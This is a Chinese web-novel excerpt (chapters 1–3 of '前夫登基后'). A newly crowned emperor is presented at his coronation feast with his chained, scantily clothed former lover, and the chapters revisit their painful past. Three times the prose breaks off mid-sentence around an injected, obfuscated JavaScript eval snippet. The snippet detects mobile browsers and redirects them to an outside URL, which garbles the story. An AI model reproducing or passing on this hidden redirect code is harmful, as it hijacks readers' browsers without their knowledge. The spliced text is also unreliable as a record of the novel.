《前夫登基后》 1. 进献 永昌元年九月,新皇登基,改年号建安,帝都更名长平。 多年战火洗礼,各路枭雄你方唱罢我登场,今日你登基、明日他称王,皇宫来来回回进进出出,连着办登基大典,比菜市场都热闹。 今日又是一位新皇登基——半个月前刚登基的“旧皇”伏诛,跟随他的一众“乱臣贼子”已然下了大狱,等待处决。 新皇俭省,一贯不爱铺张浪费,因而这次的登基大典办得低调异常,意思意思把最关键的几个环节走了走,便算登基了。 但再俭省,晚间泰安殿宴群臣总是免不了的。 泰安殿外停满了各色马车,俱是群臣送的贺礼。 新皇不爱这些,原是打算蠲了这环节,不过他是马背上打天下的帝王,沙场并肩奋战的兄弟们定要热热闹闹来送点东西,又再三保证不劳民伤财,估摸送的是刀剑盔甲马匹等战利品,想来无碍,新皇只好随他们。 苏景同懒洋洋地靠在泰安殿外的马车的笼子里,作为贺礼,他被装扮得十分到位。 笼子空间狭窄,选用的折磨人专用笼子,站不起来,躺不下去,只能用不舒服的姿势艰难坐着或者跪着。好在苏景同不嫌弃,慢吞吞调整个能接受的姿势,懒骨头一靠,感觉人又活了。 他双手双脚上锁着厚重的镣铐,送他的人大约太怕他跑了,镣铐戴得结结实实,在他无甚血色的皮肤上摩擦出几道暗红。他轻轻转动酸麻的手腕,感受到一阵刺痛,继而一点温热涌了出来,沿着手腕缓缓流淌到指尖。 苏景同漫无边际地想:唔……大概是磨破了。 他双眼蒙着黑布,视线一片漆黑,被剥夺视觉后,耳朵变得格外灵敏,他听到马车外宫女太监提着东西匆匆来回,听到殿内举杯觥筹,听到旁边树下两只虫儿在鸣叫,还听到并不温柔的夜风,吹动马车的门帘。 真是种新奇的体验…… 泰安殿的礼乐声停了,往常登基大典的宴群臣起码要上一个时辰的歌舞,酒过三巡,再献礼。新皇顾朔捏着鼻子听了两首曲子,实在难耐,叫停了。 苏景同无声无息地勾起唇角,顾朔还是老样子,明明是金尊玉贵的正统皇子出身,偏偏像个泥腿子,一听音乐就浑身刺挠,对牛弹琴四个字,简直为他量身定做。 他都能想象顾朔在泰安殿沉稳地端着酒杯,不动声色,却又在心里叨叨吵死了的神情。 顾朔从小到大学的都是皇家体统,惯来四平八稳不动如山,从不表示自己的喜恶,面对最讨厌的事物,都能优雅面对侃侃而谈,以至于苏景同很长一段时间都误以为顾朔这位气度非凡的皇子殿下,像宫中的其他皇子公主一般,喜爱音乐。 在他俩还没决裂前,准确来说,是他单方面讨好顾朔的那段时间,整天孔雀似地在顾朔面前开屏,又忘了从哪学来的追人小技巧,非要为他演奏琴曲,弹得顾朔耳朵嗡嗡,怪自己长了耳朵,又怪自己来错了时候,不该喝茶,若是喝酒起码还能装醉。 顾朔不是折磨自己的人,立刻叫了酒。 可惜他酒量差得有够可以,一杯倒,装醉成了真醉。 苏景同拒绝了车辇和宫人,亲自扶他回宫殿的路上,没话找话问他弹得好听吗,顾朔酒醉,理智崩盘,真话秃噜出来,“吵。” 苏景同:? 苏景同:?? 下一瞬,尊贵的皇子殿下被炸毛的苏景同扔给了随行太监,“潘启,去给你主子抓俩蝈蝈,他听什么音乐,他就配听蝈蝈叫!” 苏景同转身的时候,仿佛听到了顾朔的闷笑声,但是那声音极浅极低,又短促,苏景同望去,只看到顾朔醉得不省人事的脸,那声闷笑,倒像是夜风中的一场幻听。 定是听差了。 苏景同大步流星往回走,太监潘启欲言又止,踌躇再三:“世子殿下……” 苏景同头也不回:“抓不着蝈蝈就抓蛐蛐,实在不行抓俩小狗对着叫。” “不是,殿下……”潘启吭哧吭哧说:“您走反了……” 苏景同沉默了一瞬,这倒霉皇宫四面八方建得差不离,他方向感又着实不大好,面前这条黑黢黢的路,夜色中虽然看不分明,但隐隐约约像去后宫的…… 可不就走错了么。 苏景同在心里碎成了两半,什么倒霉皇宫,建得毫无区分度。 他从容不迫但又灰溜溜地换个方向走,气焰矮了一大截,连身影都变得渺小起来。 当晚,苏景同闯进好友左正卿家,把已经睡着的左大公子拖起来,研究顾朔到底是什么意思。 左大公子平生没尝过喜欢是什么滋味,恋爱史为零,但热衷于为苏景同出谋划策,并自信满满算无遗策。 他俩一个敢讲,一个敢听。 两位后来被称为大周四大智囊之二的军师,经过一晚上的激烈讨论,郑重其事地得出结论:顾朔不爱听音乐。 苏景同和左正卿观察入微,顾朔难耐时,大拇指和食指会微不可察地互相摩挲,弹琴时苏景同确定他摩挲手指了! 原来是不爱听音乐! 苏景同原地满血复活,一颗被戳得破破烂烂的心瞬间修补完毕,并尊称左大公子一声“妙手圣医”! 后来浓情蜜意时,顾朔也曾问过他,如何不弹琴了? 彼时苏景同爱上了岩石画,拿着画笔在岩石前勾勒描摹,“你不是不喜欢么?” 顾朔诧异:“谁说我不喜欢你弹?” 苏景同登时扔了画笔,控诉他曾经的暴行,作为过目不忘的小天才,苏景同翻旧账一把好手,时间、地点、周围伺候的宫人太监、他弹的曲目、顾朔穿的衣服鞋子、戴的配饰、喝的酒、用的酒杯纹样,还有他“冷漠绝情”的“吵”,说得一清二楚。 顾朔嘴角含笑地听他絮絮叨叨了半盏茶,眼看他旧账越翻越细,连树下蝈蝈叫了几声都要拿出来做证据了,终于忍不住把苏景同抓到怀里,狠狠亲了亲他脸蛋。 苏景同当即从头红到脚后跟,“干、干嘛……翻旧账呢,严肃点。” “因为当时我在……”顾朔又温柔地亲了亲他,“想这样。” 顾朔的声音又轻又慢:“但我当时不能。”毕竟那时他们之间还隔着身份天堑,顾朔无法承认爱他,只能靠喝酒装醉,压抑情绪。 苏景同欢天喜地捧出琴,感觉自己又重燃了对琴的爱,指尖一抹,琴曲悠然而下,欢快的音符在空气中跳动。 不到半盏茶,顾朔睡着了。 苏景同:…… 啊啊啊啊! 至于吗至于吗至于吗! 你这辈子是别想听我弹琴了。 顾朔在彻底睡着前挣扎着掀开一条眼缝,抢救他和苏景同岌岌可危的关系,“我昨晚没睡好……” 回答他的,是苏景同从鼻子里喷出的一口气。 后来苏景同终于发现,这人不光听他的曲子会睡着,但凡是个曲子,他都刺挠。 苏景同百思不得其解:“你大小也是个皇子,从小听礼乐长大的,怎么就听不了琴曲呢?” 顾朔新寻摸到一本兵书,看得正专注,“天生的。” “那你怎么不早告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908514|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我你不喜欢琴曲?” 顾朔视线在书上停了一瞬,随机若无其事地移开。 因为想看你弹。 但内敛的皇子殿下说不出口。 苏景同摩挲下巴:“你以后睡不着就喊我,一首曲子,送你入梦乡。” 睡不着。 喊我。 顾朔目光沉沉,视线在苏景同身上转了一圈,从他懒得打理散开的锻发、看到灵动活力顾盼流光的双眼、划过他精致的鼻梁,最后落到他浅淡的唇上。 顾朔慢慢收回目光。 “嗯。”他听到自己轻轻应了一声。 那时真切的快乐,如今想想,倒像大梦一场。 再后来…… 多情自古空余恨,好梦由来最易醒…… 苏景同靠着笼子的栏杆,风吹起马车的窗,凉意从他衣领钻到后背,带起一阵战栗——九月的天,他浑身上下只穿了一件嬖人的素色薄纱衣,莫说遮寒,连蔽体都难。 真冷啊! 苏景同慢悠悠转了转已经磨破的手腕,才习惯镣铐的手腕又被磨伤,尖锐的疼痛直达大脑,疼得他在寒凉的夜晚冒出一身汗。 苏景同放缓了呼吸,沉心静气感受疼痛的肆虐,疼痛有时是个好东西,能提醒他现在的处境。 摄政王世子苏景同和六皇子顾朔已经是过去了,现在在这里的,是犯下叛国罪、玩弄了顾朔感情的奴隶嬖人苏景同,和新登基的帝王顾朔。 泰安殿里灯火通明,顾朔穿着帝王层层叠叠的服饰,威严庄重地坐在高高的龙椅上,头上戴着的帝王十二琉衮冕半挡住他深沉的眼睛。 绛红色金银线绣的九龙环绕地毯在宫殿上铺开,金丝楠木雕双龙戏珠的梁柱旁清雅俊逸的乐师们抱着千金难求的乐器,身段玲珑舞衣翩翩的舞女们还摆着飞天的姿势,群臣们尚端着酒杯,等待集体为帝王敬酒。 这本该是顾朔生命中最辉煌的一天,可他意兴阑珊。 乐师们在太监的指挥下,有条不紊地带着乐器退场。顾朔漫不经心地盯着一个乐师背着的琴,那架琴造型和旁的琴没什么区别,但声音极其清脆,弹起来泠泠声曼曼。 十分悦耳。 顾朔不通音律,分不出琴来,但隐约觉得像是苏景同的琴。 他已经有三年没见过苏景同了。从他俩决裂以后,他就再没见过苏景同。那个小骗子总是眉目含笑巧舌如簧,用他的糖衣炮弹和骗死人不偿命的嘴,面不改色地说着甜言蜜语,把人骗得招架不住缴械投降,等你真的动了心动了情、甚至心甘情愿为他去死,他拍拍衣袖眼神全是冷漠和怜悯,居高临下地说“啧,那你真容易心动哈”。 顾朔捏紧了酒杯。 小骗子。 宴席分左右两列,左边为首的是一个病弱清瘦的男人,文质彬彬,温文尔雅,一身浓浓的书卷气,他似乎极怕冷,九月的天,已然穿上冬日的鹤氅,桌上亦无酒,只放了一杯梅子汁,菜也是单做的,没有寒性菜。 许是风吹了进来,男人咳嗽两声,全场安静下来。 顾朔被咳嗽声惊醒,回神,垂眸看他,不赞同道:“正卿,你该休息了。” 左正卿摇头,比起苏景同记忆中的左大公子,左正卿瘦了一大圈,病气缠身,声音都细弱了,“你的琴,从何而来?” 被指到的乐师愣住,没见过这大场面,登时双腿发软跪倒在地,哆哆嗦嗦一句话都说不出来。 “侯爷,这琴怎么了?”有臣子问。 左正卿因咳嗽,脸泛起红意:“这是景同的琴。” 2. 嬖人 苏景同? 全场死寂,朝臣们你看看我,我看看你,诡异地沉默了。气氛陡然变得尴尬。 半晌后,终于有一臣子忍不住发问:“侯爷,下官斗胆一言,世间琴声大多相似,侯爷确定这是苏……他的琴么?” 左正卿因剧烈咳嗽,气息还没喘匀,略缓了缓,才道:“千真万确。” 苏景同琴乐上的造诣不浅,又师从当世大家——因而顾朔听苏景同的琴音睡着时,苏景同和左正卿两人谁也没苏景同演奏得不好上去想,满京城比苏景同强的乐师不超过两手之数。 苏景同的琴音他都觉得不好,那他觉得谁弹得好? 苏景同还和恩师学了做琴。 他偏爱清脆的琴音,那时他还是无忧无虑的小纨绔,整日忙着吃喝玩乐,做出来的琴,弹起来音符蹦蹦跳跳可可爱爱的,像个快乐的小太阳。 这琴,便是他亲手做的。 殿内又死寂一瞬,继而沸腾起来。 若说新帝面前最不能提的人,非苏景同莫属。 苏景同是当今圣上的父亲周文帝在位时期的摄政王苏季徵的独子。文帝朝时,摄政王权倾朝野,一手把控大周的权力,周文帝被架空。 摄政王苏季徵子嗣不丰,年过三十四,才有了唯一活下来的孩子苏景同,惯得无法无天,要星星不给月亮,但凡苏景同想要的,没有苏季徵不给的。 苏景同亦不是什么好性儿的人,帝都鼎鼎有名的纨绔公子哥儿,好琴乐、好下棋、好丹青、好骑马、好鲜衣、好美酒、好美食、好美人,也好……嬖人。 昔年新帝尚是皇子,遭人陷害,被周文帝判了流放岭南。 新帝顾朔有一张好看的脸。 而苏景同好美丽的嬖人。 他行事素来荒唐,又被惯得不知天高地厚,死活要把还是皇子的顾朔要来当嬖人。 顾朔纵然被判流放岭南,那也是正经的皇子王孙,天家血脉,岂能由他这般折辱。摄政王再嚣张跋扈,也断然拒绝了他。 惯坏的小孩,多数爱一哭二闹三上吊。传闻说苏景同在摄政王门口跪了两天,不答应就不起来。 假使摄政王还有其他孩子,兴许还不至于被拿捏,爱跪跪着,跪死了就换一个,但他偏偏就这一个独子,经不起一点闪失。 摄政王硬着头皮和周文帝开了口。洋洋洒洒天花乱坠,说了一炷香。翻译过来就一句,是的,我想要你儿子给我儿子当嬖人。 泥人尚有三分火气,何况是帝王。 周文帝勃然大怒,同摄政王大吵一架,不欢而散。 也许是摄政王权势滔天,除了缺少合法的帝王名头,他已经实际掌握了国家的权力,又或者周文帝太过懦弱且不在乎顾朔,总之周文帝的拒绝没坚持多久,宣布六皇子顾朔重病暂不流放,恩准在皇宫修养,夜里,一顶小轿将顾朔悄悄送进了摄政王府。 粉饰的太平毫无用处,消息风言风语满天飞,一朝皇子沦为嬖人,世人看尽了顾朔的笑话,当面羞辱的,背地议论的,千夫所指,不少文人墨客写诗讽刺顾朔为了名节骨气合该自尽。 也曾有人怀疑过,苏景同此举是否是为了把被流放的顾朔留在帝都,图谋其他。毕竟岭南多蛇鼠瘴气,悄无声息死在岭南简直太过容易。 跪了两天也要强求的人,兴许是有几分真心在的。 这种猜测,很快被现实击碎。千辛万苦要来的人,没能让苏景同收心,他对顾朔的兴趣短暂地维系了一个月,又开始了他花天酒地的生活。 立志要搜集天下美人的苏景同,身体力行地践行着他的誓言,整日流连在美人中,喜欢的要么留在府里,要么玩够了送人。摄政王府比皇宫都大,还装不下苏景同的美人们,荒唐到实在不是个东西。 顾朔堂堂皇子之尊,也没得到多少优待,玩过就忘。 一年后,苏景同对他再没新鲜感,新宠又对顾朔争风吃醋,撒娇打滚儿让苏景同把顾朔送走,苏景同被新宠搞得五迷三道,想起顾朔流放的事,索性又要把顾朔扔回去流放,只是岭南刚巧开战,流放去岭南不合适,提议将顾朔流放到西北去。 都说戏子无情,可谁无情的过苏景同? 不过三十年河东、三十年河西。刚流放到西北的六皇子,恰逢西北兵变,敌国来犯,时势推动下,迅速掌握了西北的兵权。 他很有几分能耐,大局观、统筹力、领导力都是一等一的水平,唯独兵法上差些,但这没带来什么麻烦,他很会招揽人才,也很会用人。 顾朔招揽了许多军师,又力排众议重用了最年轻最没经验的姜时修,顶着纸上谈兵的非议,给了姜时修能给的所有支持。 姜时修也没辜负他的期待,很好的弥补了顾朔的短板,顾朔和姜时修上下协力,成功稳定了西北局势,守住西北国门,雄踞一方。后来评选大周四大军师时,姜时修凭借赫赫战功,荣登第一。 而摄政王全族,则一朝覆灭。 周文帝到底是帝王,佯装软弱多年,骗过摄政王的眼睛,慢慢布局,终于收网。 摄政王谋反未成,东北又乱了,战乱中摄政王苏季徵战死,苏景同失踪,曾经翻云覆雨的苏家彻底败了。 周文帝重新掌握了帝王权力,再望向西北,他曾经守住西北国门的儿子顾朔,就不那么让人放心了。 兵权在握,若是对周文帝死心塌地尽忠还好,可这个儿子是他判了流放,又背地里妥协送去给苏景同当嬖人的儿子。 他心里会憎恨周文帝么? 周文帝不敢想。 他也经不起再来一次战争。 派去暗杀顾朔的人,没杀成功顾朔,倒是把姜时修绑走了,从此生死未卜。 短短两个月,大周的少年军师姜时修,和声名狼藉的顶级纨绔苏景同,尽数失踪。 众人再听到苏景同的消息,是西南王造反,苏景同现身西南大军,成了西南王的军师。 苏景同亲爹毕竟死在周文帝手中,摄政王谋反未成,世人都猜测苏景同是继承他爹的遗志,继续篡位,借着西南王的力量找周文帝报仇。 苏景同纨绔行事荒诞,脑子却还好使,当军师很有两把刷子,辅佐西南王挥兵北上,篡了周文帝的皇位,于半月前登基。 而顾朔,早在西南王开始造反时,就挥兵南下。姜时修走后,后来被评选为大周四大军师之一的左正卿成了他的军师,和西南王正式刀兵相见。 昔日最好的朋友苏景同和左正卿,成为战场上的敌人。 现在看来,还是左正卿棋高一着。 苏景同的阴谋诡计在左正卿面前不堪一击。 不到半个月,顾朔的军队长驱直入帝都,将西南王斩于皇宫内,宣告谋朝篡位的乱臣贼子伏诛,新帝登基,左正卿加封康宁侯。 但苏景同再一次失踪了。 这人似乎有定点失踪的技能,一到关键时刻就失踪。 在场的臣子万万没想到左正卿敢在宴会上提苏景同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908515|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名字,不约而同小心翼翼地觑顾朔的神情,前有把帝王当嬖人折辱,受尽嘲讽,后有流放西北之仇,摄政王造反在先,苏景同造反在后,这样的人,岂有不触怒帝王的。 抓回来,千刀万剐才能消心头恨。 十二琉衮冕掩住了顾朔的神情,众人难以从他沉静的脸上揣摩其心意,顾朔既没有听到苏景同的名字就雷霆之怒,亦没有粗暴地打断敢在帝王雷点蹦迪的左正卿,他只是一如既往地沉默着。 乐师被苏景同的名字吓得发抖,惊惧之下,眼泪鼻涕一起涌了出来,颤颤巍巍五体投地行大礼,“小人和苏家没有一点干系啊——小人冤枉——” 左正卿抬眸瞧顾朔,顾朔依然沉默,且没有接话的意思,只得自己开口:“不必紧张,没说你和苏家有染,你只消说清楚,你从何处得来此琴即可。” 乐师恐惧地声音发软:“当铺,西城区西二坊市太平路上的文昌当铺。” 左正卿眉头微动,当铺? 怎会在当铺? 他正要再细问,却见顾朔右手食指在龙椅扶手上轻轻敲了两下,这是召暗卫的手势,很快一道身影悄无声息地从泰安殿的梁柱上消失了,看来是要亲自查了。 左正卿止了话头,摆手叫乐师下去。 顾朔低头看左正卿,左正卿不便劳累,不能吹风,如今宴席开了小半个时辰,又说了好一会儿话,此刻精神萎靡了些。 他该休息了。 顾朔冲大太监潘启轻声说了几句话,潘启点点头,下去安排。 不一会儿,一架轿辇停在了泰安殿门口,一个宫人伺候左正卿外罩了件裘衣,几个宫人举起挡风的屏风,在左正卿身边围了一圈,引着他出门。 左正卿欲行礼退下,顾朔微微摇头,虚礼免了,且回去歇着吧。 左正卿来到泰安殿门口,迎接他的轿辇却不是他来的那辆,是宫里的规格。 大太监潘启在旁解释:“陛下口谕,天寒路远,着康宁侯留宿宫中。” 潘启道:“侯爷,请。” 左正卿膝盖一屈,要接旨,潘启眼疾手快架住他,“好侯爷,陛下正怕您路上受冻呢,眼下在风口站着,还讲什么虚礼。陛下交代让您住离泰安殿最近的长乐宫,奴才叫人烧了热龙,太医已经等着了。请。” 左正卿点头致意:“多谢。” 他上了轿辇,一抬头,瞧见隔壁停的马车,隔壁马车的窗帘翻起一点,模糊能瞧见半条只着纱衣的胳膊,和半只沉重的镣铐。 左正卿怔住:“那是?” 潘启瞥了眼,“那是镇西侯进献给陛下的贺礼,据说是一个……”潘启斟酌用词:“……美人。” 左正卿收回目光,美人?那纱衣分明是嬖人穿的。镇西侯是老滑头老油条,眼见新帝后宫空虚,显见对女人无感,联想起帝王和苏景同的荒唐过去,怕是送了个嬖人来。 “这是要送到大殿上去?”左正卿问。 “是。贺礼嘛,自然要上殿的。” 那纱衣,薄的透明,只着纱衣送上殿,大庭广众之下实在羞辱人,那人戴着镣铐,想来被逼无奈。 左正卿见不得这些,人是镇西侯送给陛下的,他无法阻止,只好道:“登基典礼庄重盛大,镇西侯的贺礼私密,劳烦公公帮正卿带句话,陛下若肯开恩,不若将人置于泰安殿后殿,待宴席后再看不迟。” “还是侯爷考虑得周到,老奴这就去。”潘启笑起来,“侯爷快回吧,夜里风大。” 3. 见面 长乐宫离泰安殿只在咫尺之间,左正卿还没坐稳,便进了长乐宫。 随行的宫人替他除了外套,伺候着换了居家服,便有太医进来诊脉问药,又有十来个皇亲国戚听闻他留宿宫中,遣人来问身体可好,再送些名贵药材来。 好在潘启想得周到,左正卿为人温和宽厚知礼,定要挨个见的,哪里能休息好,索性提前叫人守在长乐宫门口挡了,药材留下,心意明儿早由宫人代为转达。 左正卿身上乏得很,略擦洗一番,歪在床上。 随他一道儿进宫的,是他身边的丫鬟知夏。知夏近前来放下床帏,好叫左正卿安睡。 左正卿半闭着眼睛道:“你去找一套侍卫的衣服来,全套,明早要。” “嗯?”知夏问,“侯爷要穿?” 左正卿没什么力气,恹恹道:“明儿你就知道了。” 陛下哪里会要嬖人,镇西侯拍马屁拍到了马腿上,留宫里当摆设都嫌碍眼,今晚他托潘启公公带了话,陛下自然知道他动了怜悯之心,明儿一早就该把人送来让他带走打发了。 也不知景同在哪…… 他的琴怎会流落去当铺…… 左正卿迷迷糊糊想着,昏昏沉沉睡去。 泰安殿中的宴席已经结束,献礼的果然如顾朔所料,大都是战利品,刀枪剑战袍,不值钱但意义重大。 至于镇西侯送的礼,潘启找顾朔嘀咕了两句,顾朔才知道他送了什么,得亏左正卿眼尖看见了,这要在殿上献礼,不成体统,他懒得去看,明儿早叫人送给左正卿打发了就好。 顾朔抬手散了宴席,不耐烦坐辇车,自己随意转转。 不长眼的镇西侯不肯走,群臣都散了,顾朔也要先行离开了,他却在殿门口等着顾朔。 顾朔简单换了常服,出来瞧见大腹便便的镇西侯,想起他的贺礼,就一阵头疼,“爱卿何事?” 镇西侯咣当跪地上,膝盖和地板发生剧烈碰撞,声音大得吓了潘启一跳,连忙上来扶人,“侯爷轻点哟。” “陛下恕罪,贺礼事关重大,微臣不敢轻忽。” 潘启傻了眼。 送个嬖人,还事关重大? 要是个美人,扯虎皮还能算事关皇嗣,关系国本,送个不能生的嬖人,重大在何处啊? 顾朔沉默半晌,“罢了,朕去看看,天色不早,爱卿先回吧。” “陛下,”镇西侯郑重地磕头,“这是微臣能想到的最好的贺礼。” “爱卿费心了,朕稍后便去。” “谢陛下!” 镇西侯慢慢起身,他胖,身材臃肿,还有个大肚子,远远看着像颗球,行礼比旁人困难些,得了顾朔的保证,这才敢离开。 等镇西侯的身影完全消失在视线中,潘启才笑道:“哎哟,真不知侯爷送了个什么宝贝来。” “你没看?”顾朔问。 “这是送给陛下的贺礼,奴才怎么敢看。” 顾朔盯着他,明晃晃的不信。 “好吧,”潘启笑:“蒙着脸呢,奴才哪能看到。” 顾朔抬脚往后殿去,他对嬖人没兴趣,但对镇西侯的态度很在意,镇西侯油滑精于人情世故,不熟悉他的人会认为他是酒囊饭袋,接触久了会发现这人能稳坐西北当镇西侯,不是没有原因的。 脑子清楚、手段过人。 二三十个宫人缀在顾朔身后,提灯的,打伞的,拿脚凳的,抬轿辇以备不时之需的,乌央乌央一大群。潘启转身把人打发走,自个儿提了盏灯在旁边照明。 “军师找到了么?”顾朔问。 自从姜时修失踪后,顾朔便持续追查姜时修的下落。潘启飞速答:“刺客们挨个审了个遍,没问出什么,先帝的亲信也挨个查过了,不见军师。” “活要见人,死要见尸。”顾朔道。 “是。”潘启道。 “那把琴呢?”顾朔踏入后殿,他不常来这里,潘启上前带路。 “已经派人去查了,想来不日就有回信。” “嗯。抓紧时间。” 苏景同跪在床脚,蒙着眼睛,耳朵格外敏感,隔着老远,便听到了顾朔和潘启的声音,他侧耳细听,只有两人的脚步声。 苏景同的心缓缓提了起来,顾朔…… 顾朔…… 他还记得他要送顾朔流放西北的那天,天上下着倾盆大雨,顾朔也是像他现在这般,戴着手铐脚镣,执意要站在门口等他。 他不敢见顾朔,找了八百个借口拒绝见面,顾朔一概不听,就站在雨里等。 那场雨从早下到晚,他在屋里借着窗户缝瞧顾朔,顾朔还是那张八风不动的脸,雨沿着他的脸颊落下。 苏景同疑心那里面混着眼泪,想细细分辨,又实在不敢看,假使叫他看到顾朔眼睛红了,他怕他当场缴械投降。 顾朔执拗地站到晚上,成了落汤鸡,雍容华贵的六皇子,从来没有这般难堪过。 他总是这样,决定要做的事,谁都拉不回头。假如苏景同一直不见他,他能在雨中等到地老天荒。 苏景同认输,放顾朔进门,隔着屏风和顾朔见面。 顾朔从来惜字如金,那天却说了很多很多。从理性分析推断苏景同强求他当嬖人是为了救他、不必去流放,推断到苏景同此刻让他去西北流放,是为了让他避开当下的风云搅动。又从两人幼稚单纯的过去讲到曾经许下的未来。 到最后顾朔红着眼问他,是不是怪他从前冷淡不回应,他从前有苦衷,现在知道错了,他真的错了,别生气了。 他们不能就这样分开。 当时自己是怎么回应来着? “你还挺能给自己贴金,”他的声音飞扬跋扈又尖酸刻薄:“你们聪明人脑子弯弯绕绕就是多,编故事编的不错。” “给咱们六殿下造成误会真是不好意思,我这个人就这样,好起来的时候天上的星星都能给他,玩腻了就懒得多看一眼。殿下可千万别见怪。” “要你当嬖人,没什么别的意思,就想睡睡皇子,啧,”他轻佻地吹了个口哨:“殿下脸不错,活也好。不枉我折腾一场。” “嗨,不过再好的东西,玩一年也会腻的,咱们好聚好散哈,您打哪来回哪去。当然啦,你尽心尽力待我一年,我也不能太不是个东西,西北那边我打点过了,衣食住行都不用你操心。” “至于咱俩那点情谊,哈,”他嗤笑道:“我追徐恒时给他买了京中最好地段的酒楼,追薛松时费尽心思找名师教他学剑,追范籍时半夜三更不睡觉陪他爬山看日出,给你弹个琴而已……”他玩味道:“那算个什么?您也太容易心动了。” “行啦,别这样看我,一时兴起的事,你还当真了。” “殿下真天真啊,你对每个人都这样吗,拼命往好处想?我若真是要救你,多的是办法,干嘛非让你当嬖人,你这一年吃得苦还不够多么?” “让你当嬖人,是因为我想啊。堂堂皇子,却只能做我的嬖人,任我玩弄,你不觉得这件事本身就让人兴奋吗?” “嗯?你不信?”他哼笑道:“殿下,你还没搞清楚形势么,你信不信一点都不重要,重要的是我玩腻了,而我的新宠也不想看见你。” “重新开始?殿下说笑了,对你我早就玩腻了,哪有闲情跟你重新开始。早知你这样玩不起,我就不找你了,麻烦。” 他不记得顾朔那天是怎么走出摄政王府的,只听说从来没生过病的顾朔在路上病了一场,瘦了一大圈,病好以后更沉默寡言了。 他怎么能说出那些话? 苏景同小声地倒吸着凉气,五脏六腑都拧成一团,胃里直反酸水,恶心想吐,苏景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908516|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同想侧过头躬下腰吐,身体刚动,就被镣铐牵扯住——他被摆成跪姿,双手反绑在身后,手上的镣铐和脚上的镣铐用一根短短的铁链绑在一起,逼迫他挺起胸膛,他难以弯腰。 顾朔…… 一定被伤狠了。 苏景同勉强靠着床柱,无意识转动手腕,让镣铐又一次磨破伤口,尖锐的疼痛冲上大脑,又下移到五脏六腑,于是胃里那点不舒服被更深的疼痛覆盖,变得好接受起来。 等他看到自己,会怎么处置自己呢? 他曾经那样毫不留情地羞辱且伤过他,把他的自尊心踩到泥里…… 千刀万剐是个不错的选择。 把他当嬖人以眼还眼以牙还牙,很有美感的报复。 又或者…… 苏景同在心里轻轻叹气,他怕是这辈子再不想看见自己,兴许随便找个什么地方扔了,眼不见心不烦。 脚步声越来越近,苏景同的心越悬越高。 潘启推开门,顾朔踏进屋,侧头继续同潘启说话,“江天到哪了?” “明儿一早进京。” “明儿下午让他来见……”顾朔顿住。 屋里点着昏暗的烛火,另摆了两颗夜明珠,柔和的光线下,鸡翅木莲花如意纹月洞床榻旁跪着个赤身的男人,单薄清瘦,眼上蒙着黑布,仅露出一点鼻头和瘦的有些尖的下巴,锁骨突出,腰腹上有薄薄一层腹肌,不大明显,双手双脚被镣铐绑在一起,足尖和小腿上沾着从手腕上滑下来的血。 顾朔盯着男人的下巴,这下巴,化成灰他都认识。 他气血上涌,脑子嗡地一声炸了。 苏景同听到他停下声音,知道是认出自己了,吞了口唾沫,未知的情绪铺天盖地地将他淹没。胃又抽抽起来,在体内颠三倒四地闹腾,连脸都扭曲起来。 “陛下?”潘启问。 这一声,如惊雷从顾朔的天灵盖劈到脚。顾朔快步上前,一把扯散了床帏,将赤身的苏景同牢牢挡在床帏里面,单手拎起他放在床上,另一只手扯了床被子将人裹起来。 苏景同胃痛的要命,在狭小的笼子里被折磨了一天白天,又在床边跪了许久,腿脚早麻了,任由顾朔摆弄。 靠顾朔怀里的一瞬间,苏景同有点恍惚——顾朔的胸膛和从前一般宽阔温暖。 顾朔其人,将“泰然自若”四个字刻在了骨子里,他沦为嬖人的那一年,外面风言风语传了个遍,摄政王府里亦有人对他指指点点,大皇子他们甚至还上门看笑话羞辱过他,但他始终从容不迫,风度翩翩,不像来当嬖人的,像换个地方当殿下的。 苏景同那年和他爹频繁地争吵,吵完身心俱疲,跑顾朔房间里往他躺椅上瘫着,一言不发。顾朔往往在看书或者练剑,见他来了,便放下书和剑,把他从躺椅上扒拉起来,搂怀里,慢慢拍他的后背,帮他顺气。 苏景同会把脸贴在他胸膛里,听他的心跳。顾朔的心跳声沉稳有力,正如他这个人一般八风不动、处变不惊,通常听一会儿,他的心就会平静下来。顾朔的胸膛宽阔温暖,尽管当时他身为嬖人处境难堪,但那温暖依然能给苏景同无穷无尽的安全感。仿佛跟着这个人,就能安心把一切交给他。 自从决裂以后,苏景同已经有三年没和他这般亲密接触了。 苏景同习惯性地将脸贴在他胸膛,想再一次听听他的心跳,头转动间,苏景同蹭到了东西,扎得脸疼——龙袍上的龙纹。 天下顶好的绣娘一针一针绣出来的龙纹。 